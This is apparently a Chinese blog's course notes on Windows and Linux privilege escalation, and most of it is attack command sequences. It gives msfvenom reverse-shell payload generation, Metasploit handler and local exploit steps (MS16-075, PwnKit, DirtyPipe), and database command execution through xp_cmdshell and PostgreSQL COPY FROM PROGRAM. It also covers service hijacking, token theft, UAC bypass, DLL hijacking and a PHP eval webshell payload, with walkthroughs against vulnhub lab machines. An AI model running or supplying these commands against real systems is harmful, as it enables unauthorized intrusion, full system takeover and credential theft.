Window Linux 权限提升


#基础点:

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它 心里要想着我是谁 我在哪 我要去哪里

1、具体有哪些权限需要我们了解掌握的:

后台权限,数据库权限,Web权限,用户权限,服务器权限,宿主机权限,域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成

用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成

服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成

宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)

域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等

数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)

Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)

用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)

服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)

宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)

域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理

当我们下载备份文件获取到数据库信息

当我们通过漏洞拿到资产系统的Web权限

当我们在公司被给予账号密码登录计算机或系统

当我们在公司或钓鱼后门获取到某个公司机器系统

#权限提升-Web应用&中间件&数据库

背景1:通过弱口令进入Web后台系统通过上传获取Web权限

背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限

背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限

#权限转移-后台管理&数据库管理&Web

Tmall-后台权限->Web权限(提升)

Tmall-Web权限->数据库权限(转移)

Tmall-Web权限->另一个后台权限(转移)

PhpMyadmin-数据管理->Web权限(提升)

PhpMyadmin-Web权限->另一个后台权限(转移)


#Web到Win系统提权-平台&语言&用户

1、Web搭建平台差异

集成软件,自行搭建,虚拟化等

集成软件:宝塔,PhpStudy,XAMMP等

自行搭建:自己一个个下载安装搭建配置

虚拟化:Docker,ESXi,QEMU,Hyper-V等

集成软件大多获得权限后直接就是高权限 除了宝塔有自己的安全策略

自行搭建的不会出先拿到权限后就是高权限的情况

虚拟化需要先逃逸
2、Web语言权限差异

ASP/ASP.NET/PHP/JSP等

权限高低:JSP>ASP.NET>ASP=PHP

JSP的拿到权限后就是高权限不需要再提权 其他语言都需要再提(前提是自行搭建的 如果是集成软件的都不需要再提权了)

原因:语言特性
3、系统用户权限差异

Windows:

System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。

Administrators:管理员组,具有对计算机进行完全访问和操作的权限。

Users:用户组,一般用户的默认组别,拥有较低的系统权限。

Guests:

访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。

Backup Operators:

备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。

Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。

Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。

Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。

Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。

Distributed COM Users:

分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。

IIS_IUSRS: 用于授权IIS相关服务的用户组。

Windows 权限大概分为四个基本

System是最高权限Administrators其次,再下面就是User,组权限最底的是特殊组如Remote Desktop Users 这种,ASP/ASP.NET/PHP获得的权限就是IIS_IUSRS这个组的。

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)

root用户:UID为0,拥有系统的完全控制权限


#Web到Win-系统提权-宝塔面板-哥斯拉

Windows 2012(宝塔Apache+PHP)-MSF

复现搭建:选择2012系统后自行安装宝塔

PMeterpreter

BypassOpenBaseDir

BypassDisableFunction

#Web到Win-系统提权-溢出漏洞-MSF&CS

Windows 2008(IIS+ASP)-MSF

自行搭建+ASP/PHP+Windows 2008

复现搭建:选择2016系统后自行安装IIS+ASP

0、MSF安装:(也可以用kali)

目前的msf版本有bug可以TB上购买pro版本嘎嘎稳

https://blog.csdn.net/qq_46717339/article/details/122653084

1、生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe

2、配置监听会话

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3333

exploit

2.1、筛选EXP模块

全自动:快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester

set showdescription true

3、利用EXP溢出提权

background

use exploit/windows/local/ms16_075_reflection_juicy

set session 1

exploit

Windows 2016(IIS+ASP.NET)-CS

复现搭建:选择2016系统后自行安装IIS+ASP.NET

0、CS安装

chmod +x ./teamserver

chmod +x ./TeamServerImage

./teamserver IP password

1、连接CS

2、创建监听器

3、加载脚本插件



#Web到Win-系统提权-人工操作

如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用

优点:解决实时更新不集成的EXP

缺点:操作繁琐,需要各种复现调试

解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合

1、信息收集

参考常见命令(见上图)

2、补丁筛选

https://i.hacking8.com/tiquan

https://github.com/bitsadmin/wesng

python wes.py systeminfo.txt --color

python wes.py systeminfo.txt --color -i "Elevation of Privilege"

3、EXP获取执行

KernelHub 针对常用溢出编号指定找EXP

Poc-in-Github 针对年份及编号指定找EXP

exploitdb 针对类型及关键说明指定找EXP

https://github.com/Ascotbe/Kernelhub

https://github.com/nomi-sec/PoC-in-GitHub

https://gitlab.com/exploit-database/exploitdb

#Web到Win-系统提权-土豆家族

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,

可以将低权限的服务用户提升为"NT AUTHORITY\SYSTEM"特权。

1、Test in:Windows 10/11(1809/21H2)

2、Test in:Windows Server 2019 Datacenter(1809)

3、Test in:Windows Server 2022 Datacenter(21H2)

土豆家族

SweetPotato OK

RoguePotato

BadPotato OK

EfsPotato OK

GodPotato OK

PetitPotato OK

MultiPotato

CandyPotato

RasmanPotato OK

CoercedPotato

JuicyPotatoNG

PrintNotifyPotato OK

GodPotato

https://github.com/BeichenDream/GodPotato

SweetPotato

https://github.com/CCob/SweetPotato

RoguePotato

https://github.com/antonioCoco/RoguePotato

BadPotato

https://github.com/BeichenDream/BadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

MultiPotato

https://github.com/S3cur3Th1sSh1t/MultiPotato

CandyPotato

https://github.com/klezVirus/CandyPotato

RasmanPotato

https://github.com/crisprss/RasmanPotato

PetitPotato

https://github.com/wh0amitz/PetitPotato

JuicyPotatoNG

https://github.com/antonioCoco/JuicyPotatoNG

PrintNotifyPotato

https://github.com/BeichenDream/PrintNotifyPotato

CoercedPotato

https://github.com/Prepouce/CoercedPotato


数据库提权流程:

1、先获取到数据库用户密码

-网站存在SQL注入漏洞

-数据库的存储文件或备份文件

-网站应用源码中的数据库配置文件

-采用工具或脚本爆破(需解决外联问题)

2、利用数据库提权项目进行连接

MDUT

Databasetools

RequestTemplate

https://github.com/SafeGroceryStore/MDUT

https://github.com/Hel10-Web/Databasetools

https://github.com/1n7erface/RequestTemplate

3、可利用建立代理解决不支持外联

-利用已知Web权限建立代理(等同于本地连接)

-利用已知权限执行SQL开启外联(让数据库支持外联)

GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

flush privileges;

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'Ad Hoc Distributed Queries', 1;

RECONFIGURE;

ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;

SHUTDOWN IMMEDIATE;

STARTUP;

4、可利用数据库提权类型条件及技术

-MYSQL:PHP+MYSQL 以web入口提权

条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)

技术:UDF MOF 启动项 反弹Shell

-MSSQL:.NET+MSSQL 以web入口提权

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

-Oracle:(站库分离,非JSP,直接数据库到系统等)

条件:数据库用户密码

技术:DBA,普通用户,注入模式

-MSSQL:.NET+MSSQL 以web入口提权

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

-Oracle:(站库分离,非JSP,直接数据库到系统等)

条件:数据库用户密码

技术:DBA,普通用户,注入模式

-PostgreSQL

Web到系统

条件:数据库用户密码

技术:CVE-2019-9193 UDF libc

复现镜像:

https://market.aliyun.com/products/56024006/cmjj016247.html

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

-Redis

数据库到Linux

条件:利用未授权或密码连接后执行

见第78天课程内容-只适用Linux

技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

复现搭建:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzf redis-2.8.17.tar.gz

cd redis-2.8.17

make

cd src

/redis-server

-Memcached

数据库到Linux

条件:设置远程可访问或取得本地权限后访问

是一套常用的key-value缓存系统,由于它本身没有权限控制模块,

服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。

复现镜像:

https://market.aliyun.com/products/56024006/cmjj017529.html

案例参考:

https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg

开启命令:

systemctl start memcached.service

关闭命令:

systemctl stop memcached.service

查看状态:

systemctl status memcached.service

#第三方软件提权:

远控类:Teamviewer 向日葵 Todesk VNC Radmin等

密码类:各大浏览器 Xshell Navicat 3389 等

服务类:FileZilla Serv-u Zend等

文档类:Winrar WPS Office等

原理:

1、通过普通用户或Web用户收集或提取有价值凭据进行提升

2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升

演示:

1、计算机用户:Teamviewer

2、计算机用户:NavicatPremium

3、计算机用户或WEB权限:Winrar(CVE2023)

4、计算机用户:浏览器密码凭据


应用场景:

1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。

2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。

主要当前技术入口点:

-当前权限由钓鱼攻击获取

主要当前技术应用点:

-当前受控机在内网域环境

1、提权system与内网交互

2、降权到域用户与内网交互

#服务启动(提权)

sc是用于与服务控制管理器和服务进行通信的命令行程序。

适用版本:windows 7、10、08、12、16、19、22,早期用at命令

1、创建一个名叫syscmd的执行文件服务

sc Create syscmd binPath= "c:\msf.exe"

2、运行服务

sc start syscmd

#远程控制(提权)

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

psexec.exe -accepteula -s -i -d cmd #调用运行cmd

#进程注入(降权&提权)

MSF:

ps //查看进程

migrate PID //迁移对应PID

CS:

ps //查看进程

inject PID //注入对应PID

#令牌窃取(降权&提权)

MSF:

use incognito

list_tokens -u

impersonate_token "NT AUTHORITY\SYSTEM"

CS:

ps //查看进程

steal_token PID //窃取进程令牌

spawnu PID //窃取进程令牌上线


应用场景:

1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。

2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。

#Win10&11-BypassUAC自动提权-MSF&UACME

为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制

在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权

绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)

开启UAC和未开启UAC时,CS/MSF默认getsystem提权影响(进程注入等)

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe

1、MSF模块:

use exploit/windows/local/ask

use exploit/windows/local/bypassua 针对Windows7

use exploit/windows/local/bypassuac_sluihijack

use exploit/windows/local/bypassuac_silentcleanup

2、UACME项目:

https://github.com/hfiref0x/UACME

Akagi64.exe 编号 调用执行

#Windows-DLL劫持提权应用配合MSF-FlashFXP

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功

检测:ChkDllHijack 火绒剑

项目:https://github.com/anhkgg/anhkgg-tools

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

#Windows-不带引号服务路径配合MSF-MacroExpert

原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行

过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功

检测命令:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传反弹exe,设置好对应执行名后,执行sc start "Macro Expert"

#Win2012-不安全的服务权限配合MSF-NewServices

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

检测脚本:accesschk.exe -uwcqv "" *

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

sc config "test" binpath= "C:\Program.exe"

sc start test

#综合类检测项目:

https://github.com/carlospolop/PEASS-ng

PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。

winPEAS.bat > result.txt

winPEASany.exe log=result.txt


Linux
#信息收集

当前主机的操作系统

hostnamectl

cat /etc/*-release

lsb_release -a

cat /etc/lsb-release # Debain

cat /etc/redhat-release # Redhat

cat /etc/centos-release # Centos

cat /etc/os-release # Ubuntu

cat /etc/issue

当前主机的内核版本

hostnamectl

uname -a

cat /proc/version

dmesg | grep "Linux version"

#内核漏洞筛选:

MSF检测:

run post/multi/recon/local_exploit_suggester

提权脚本:

https://github.com/liamg/traitor

https://github.com/The-Z-Labs/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

https://github.com/belane/linux-soft-exploit-suggester

综合脚本:

https://github.com/carlospolop/PEASS-ng

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/redcode-labs/Bashark

https://github.com/rebootuser/LinEnum

#应用场景:

获取到Web权限在Linux服务器上时进行的内核漏洞提权

#常见内核漏洞案例:

dirtycow(CVE-2016-5159)

Pwnkit (CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

SUDO (CVE-2021-3156)

大脏牛 (CVE-2017--1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

...

#Linux系统提权-Web&内核溢出-Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 192.168.46.144

set rport 1898

run

3、内核提权:

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

https://github.com/gbonacini/CVE-2016-5195

upload /root/dcow.cpp /tmp/dcow.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

python -c 'import pty; pty.spawn("/bin/bash")'

./dcow

su root

#Linux系统提权-Web&内核溢出-Pwnkit

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

重置管理密码-上传1.phtml-反弹MSF

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2021_4034

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

set session x

run

getuid

shell

cd /root

cat root.txt

#Linux系统提权-Web&内核溢出-DirtyPipe

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用

扫描发现-抓包分析-文件写入-反弹MSF

gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

message=<?php eval($_POST["pass"]);?>&file=xd.php

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2022_0847

use exploit/linux/local/cve_2022_0847_dirtypipe

set session x

set lhost xx.xx.xx.xx

run

#补充

CVE-2023-0386

https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

相关推荐
冷冰鱼15 分钟前
【问题实录】服务器ping不通win11笔记本
运维·服务器
wayuncn16 分钟前
web服务器之云主机、物理机租用、服务器托管的区别
运维·服务器
冷曦_sole18 分钟前
linux-21 目录管理(一)mkdir命令,创建空目录
linux·运维·服务器
聚名网21 分钟前
服务器如何划分空间?
运维·服务器
Hacker_Nightrain25 分钟前
网络安全与加密
安全·web安全
dessler38 分钟前
Docker-Dockerfile讲解(二)
linux·运维·docker
world=hello1 小时前
关于科研中使用linux服务器的集锦
linux·服务器
枫欢1 小时前
将现有环境192.168.1.100中的svn迁移至新服务器192.168.1.4;
服务器·python·svn
华纳云IDC服务商1 小时前
如何自动解决服务器弹性伸缩问题?
运维·服务器
Chloe.Zz1 小时前
Windows系统上创建Flask服务器
服务器